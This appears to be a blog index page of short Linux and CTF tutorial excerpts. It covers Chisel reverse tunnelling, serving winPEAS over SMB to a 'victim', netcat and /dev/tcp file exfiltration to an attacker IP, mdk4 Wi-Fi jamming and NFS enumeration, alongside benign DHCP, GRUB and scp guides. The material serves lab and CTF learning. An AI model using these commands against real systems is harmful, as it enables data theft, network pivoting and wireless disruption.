Networking

🧠 What is Chisel? Chisel is a fast TCP/UDP tunnel over HTTP, useful for port forwarding and pivoting, especially during red teaming or CTFs. 🔥 Attacker Machine Setup (Chisel Server) Start Chisel in reverse mode on the attacker machine: ./chisel_1.5.1 server -p 9005 --reverse -p 9005: Listen on port 9005 --reverse: Accept reverse port forwarding connections 🎯 Target Machine Setup (Chisel Client) Forward all traffic to attacker: ./chisel client 10.10.14.19:9005 R:socks This sets up a SOCKS proxy from the target to the attacker’s Chisel server ...

Begin by installing the DHCP server package. sudo pacman -S extra/dhcp dhcpcd Next, set a custom hostname within the DHCP configuration file. sudo vim /etc/dhcpcd.conf Within this file, add or modify the host declaration to assign a specific hostname to a client: hostname OPPO-A3s ### This is set your device name OPPO-A3s in a network Finally, restart the DHCP server to apply the changes. sudo systemctl restart dhcpd.service sudo systemctl restart dhcpcd.service

This simple guide helps you fix the GRUB bootloader on Garuda Linux with a BTRFS file system. Follow these steps to install the necessary tools, mount partitions, fix GRUB, and check EFI entries. Step 1: Install garuda-tools-base-git You need the garuda-tools-base-git package to manage GRUB on Garuda Linux. Install it using pacman: sudo pacman -S garuda/garuda-tools-base-git This package is only available for Garuda Linux and won’t work with other Arch-based distributions. ...

🖥️ On the Linux Server (Attacker Machine) Start an SMB server using impacket-smbserver: sudo smbserver.py gnu $(pwd) -smb2support gnu: Share name $(pwd): Current working directory to be shared -smb2support: Enables SMB2 support for better compatibility with newer Windows systems 🪟 On the Windows Client (Victim Machine) Access the shared file using UNC path: \\10.10.14.42\gnu\winPEAS.exe 🔸 Replace 10.10.14.42 with the IP of your Linux (attacker) machine 🔸 You can also map this as a network drive or copy files directly using copy or xcopy in CMD or PowerShell ...

📤 Uploading/Sending a Directory from Local to SSH Server Use either of the following commands: scp -P 22 -r ./shell/* [email protected]:/home/gnu/shell/ OR scp -r -P 22 ./shell [email protected]:/home/gnu/shell/ 📥 Downloading/Receiving a Directory from SSH Server to Local scp -P 22 -r [email protected]:/home/gnu/* ./gnu/ OR scp -r -P 22 [email protected]:/home/gnu ./gnu/ 📤 Uploading/Sending a File from Local to SSH Server scp -P 22 ./shell.php [email protected]:/home/gnu/shell.php 📥 Downloading/Receiving a File from SSH Server to Local scp -P 22 [email protected]:/home/gnu/flag.txt ./flag.txt 📝 Note: ...

🖥️ Step 1: Start Listening on Local Machine (Kali) Run the following command to start listening for incoming files: nc -lp 4444 > filename # waiting for receiving the files 📤 Step 2: Transfer File from Remote Machine (Victim) Run this command on the victim machine to send the file: nc -w 3 10.10.14.19 4444 < filename # it's time to send the file OR, use this alternative method: cat filename > /dev/tcp/10.10.14.19/4444 Note: 10.10.14.19 is the IP address of the local machine (tun0). ...

🧰 Using ftp Command 1. Connect to FTP Server Replace 10.10.10.98 with your target FTP server IP or domain: ftp 10.10.10.98 2. Login as Anonymous Name (10.10.10.98:yourusername): anonymous Password: (press Enter) 3. Set Binary Mode To handle all types of files properly: ftp> binary 4. Disable Prompting (for Multiple Files) ftp> prompt off Interactive mode off. 5. Download Files (Wildcard) ftp> mget * ⚠️ Note: Standard ftp does not support recursive download. For recursive download, use a better client like lftp. ...

With the mdk4 tool, you can jam Wi-Fi networks in various ways. This guide will walk you through the installation, setup, and usage of mdk4, including examples for different attacks. 1. Installation If mdk4 is not installed on your system, install it using the following command: sudo apt-get install mdk4 -y Switching to Root User If you are not the root user, switch to root: sudo su Example: kali@gajendra:~$ sudo su 2. Checking Network Interface Status Check your network interface status to see if it’s in monitor mode: ...

1. Stay Focused on Learning & Skill Development: This group is a knowledge hub for ethical hacking, cybersecurity, and Kali Linux. ✅ Ask questions, share knowledge, and help each other grow! ✅ All posts must be relevant to these topics. 🚫 Basic Kali errors? Ask in the Community Chat, not as a post. 💡 Tip: Search before asking! Many common issues are already discussed. We’re here to learn, not to clutter the group with unnecessary posts. ...

To scan for rpcbind on a network and check NFS shares, use the following command: sudo nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount $IP # Scanning port 111 for rpcbind and list NFS shares Listing Mounted Partitions on the Network To list the mounted partitions of a network system, use: showmount -e $IP # List the exported directories on the NFS server Mounting rpcbind Directories on Local Machine To mount a remote NFS directory on local machine. In this example, the directory /var is mounted from the remote server with IP 10.10.122.178. ...